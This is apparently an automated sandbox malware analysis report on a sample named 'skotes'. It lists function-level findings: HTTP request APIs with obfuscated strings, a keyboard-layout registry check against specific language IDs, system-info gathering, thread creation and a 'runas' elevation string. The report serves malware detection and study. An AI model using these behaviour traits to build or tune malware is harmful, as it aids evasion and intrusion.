Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectFileReadSendSleep
String ID: 8HJUeIfzLo==$8HJUeMD Lq5=$RE1NXF==$invalid stoi argument$stoi argument out of range
API String ID: 2167506142-885246636
Opcode ID: 6834603d8015b87305710b0367692f4902ad4606f4204a4d147ab0affdb1482a
Instruction ID: 320cc410d8102d4027548e420296f9c23e19ec5e2de94441406b2059cf61c1c2
Opcode Fuzzy Hash: 6834603d8015b87305710b0367692f4902ad4606f4204a4d147ab0affdb1482a
Instruction Fuzzy Hash: 73B1E3B1A1011C9BEB28CF28CD84BAE7F69FF41304F5045A9F609972C2DB759AC4CB94

Function 005F6020 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 275
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,80000001,0000043f,00000008,00000423,00000008,00000422,00000008,00000419,00000008), ref: 005F617D
RegEnumValueA.KERNEL32(?,00000000,?,00001000,00000000,00000000,00000000,00000000), ref: 005F6271

Strings

00000422, xrefs: 005F60C9
00000423, xrefs: 005F60FA
Keyboard Layout\Preload, xrefs: 005F6054
00000419, xrefs: 005F6098
0000043f, xrefs: 005F612B

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: EnumOpenValue
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 2571532894-3963862150
Opcode ID: 393f618ca90089b3acfd2789a90c5202a2db81598b93bb4cd317dd6ced472882
Instruction ID: 0b6032fbc8e2853563fb543c08021a4f7e949eff52db0936b0359e82b204bdd1
Opcode Fuzzy Hash: 393f618ca90089b3acfd2789a90c5202a2db81598b93bb4cd317dd6ced472882
Instruction Fuzzy Hash: 18B1AF719402689BDB24DB54CC89BEEBB79BF04300F5402D8E508E72D2DB749BA88F95

Function 005F7D30 Relevance: 10.9, APIs: 1, Strings: 5, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 005F7ED3

Strings

JjsrQV==, xrefs: 005F8092
JjsrPl==, xrefs: 005F828A
P`, xrefs: 005F7D3D
JjssOl==, xrefs: 005F813A
JjssPV==, xrefs: 005F81E2

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: JjsrPl==$JjsrQV==$JjssOl==$JjssPV==$P`
API String ID: 1721193555-68032254
Opcode ID: 937afb3b58c77cb9c0afaa2dd2297628c55d1f761347a8c9abb79c5f2ec96323
Instruction ID: a5a992edab7a80f97b0d770f7201ee0c47a10c35e3c2e986389aa80d03afd5b8
Opcode Fuzzy Hash: 937afb3b58c77cb9c0afaa2dd2297628c55d1f761347a8c9abb79c5f2ec96323
Instruction Fuzzy Hash: B8E10970E006599BDB14BB28CC5B3BE7F62BB46710F94068CE915673C2EB395E9487C2

Function 00631ABC Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00631775: CreateFileW.KERNEL32(00000000,00000000,?,00631B65,?,?,00000000,?,00631B65,00000000,0000000C), ref: 00631792

__dosmaperr.LIBCMT ref: 00631BD7
GetFileType.KERNEL32(00000000), ref: 00631BE3
__dosmaperr.LIBCMT ref: 00631BF6
__dosmaperr.LIBCMT ref: 00631D9C

Strings

H, xrefs: 00631D21

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: __dosmaperr$File$CreateType
String ID: H
API String ID: 3443242726-2852464175
Opcode ID: 7b20952e40bb5b7661d95e7f9abd50f6da73886df162ecb34d037e8da77cb6e7
Instruction ID: 13f2a718f36ff91594901e3ea4b92e69ef2f202777cc5d2d9923d3cc62809284
Opcode Fuzzy Hash: 7b20952e40bb5b7661d95e7f9abd50f6da73886df162ecb34d037e8da77cb6e7
Instruction Fuzzy Hash: 49A10332A046588FCF19DF68DD51BEE7BA2AF07320F14118DE812AF3D1DA358902CB95

Function 005F7590 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 224
sleepthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064,1604218E,?,00000000,00639138,000000FF), ref: 005F75CC
CreateThread.KERNEL32(00000000,00000000,005F7430,00658638,00000000,00000000,?,?,?,?,?,?,?,?), ref: 005F76BF
Sleep.KERNEL32(000001F4,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005F76C9

Strings

runas, xrefs: 005F7303

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep$CreateThread
String ID: runas
API String ID: 3220764680-4000483414
Opcode ID: 08a3e70c3149320d522969d7c89d717bb82516474969ad216f5e8cdce6067468
Instruction ID: 77eb21b99b0214ebd3b64a11fc4f12d4951f3b3de3505b836350bd3d29811e33
Opcode Fuzzy Hash: 08a3e70c3149320d522969d7c89d717bb82516474969ad216f5e8cdce6067468
Instruction Fuzzy Hash: 4671F13061424CEFEB08DF68CD85BAE7FA6EB09304F508519F911673C2CB79A984CB95

Function 00626FB4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNEL32(?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00626EE6), ref: 00626FD6
GetFileInformationByHandle.KERNEL32(?,?), ref: 00627030
__dosmaperr.LIBCMT ref: 006270C5

Part of subcall function 0062732A: __dosmaperr.LIBCMT ref: 0062735F

Strings

nb, xrefs: 00626FCE

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
